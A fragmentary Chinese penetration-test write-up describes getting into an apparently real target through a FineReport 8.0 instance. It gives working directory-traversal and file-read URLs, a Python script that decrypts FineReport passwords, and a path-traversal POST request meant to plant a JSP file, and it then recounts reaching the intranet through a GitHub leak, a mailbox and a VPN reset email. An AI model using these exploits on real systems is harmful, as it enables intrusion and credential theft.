项目总体情况
去年的挖掘重点是Springboot的站,今年就选择nodejs的站为重点来突破,虽然艰难,但最后还是找到两个突破点成功进入内网。
一、 突破点1:客服系统
https://www.test.com:444/
),采用nodejs+vue开发,有上传功能,但上传后的文件直接传到的阿里云的oss上,xss去年挖过了,也已经被修复了,扫描端口,发现开了80、443、444,不过全部指向该客服系统,由于目标nodejs的站比较少,无奈只能死磕这个站了。0x01 差点错过的切入点
原本的logo信息如下:(原谅我找了个网图,因为一看logo就可能会暴露厂商信息)
扫描完目录后的logo如下:
0x02 峰回路转
http://localhost:8075/WebReport/ReportServer?op=fs
https://www.test.com:444//WebReport/ReportServer
的时候出现了帆软的界面。。0x03 漏洞组合拿权限
既然已经找到了目录,并且判断出版本为8.0
这个版本是存在漏洞的,尝试了一下公开的漏洞
目录遍历
https://www.test.com:444/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..¤tUserName=admin¤tUserId=1&isWebReport=true
任意文件读取:
https://www.test.com:444/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
成功读到了加密后的账号密码
# -*- coding: utf-8 -*-
cipher = 'xxx'
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = ""
cipher = cipher[3:]
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)
http://foreversong.cn/archives/1378
) 然后用如下数据包进行脚本移动POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
Host: www.test.com:444
Content-Length: 106
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8
Cookie: xxx
Connection: close
optype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=../../../data.jsp&serverID=
https://www.test.com:444/WebReport/data.jsp
还是404,尝试该目录下的一些静态文件,也全部404,猜测是只映射了http://www.test.com:444/WebReport/ReportServer
这一个链接出来。0x04 一波三折实现命令执行
二、github源码泄露
163的企业邮箱
在这个邮箱里发现了用户重置vpn密码的邮件,然后通过vpn顺利进入内网。。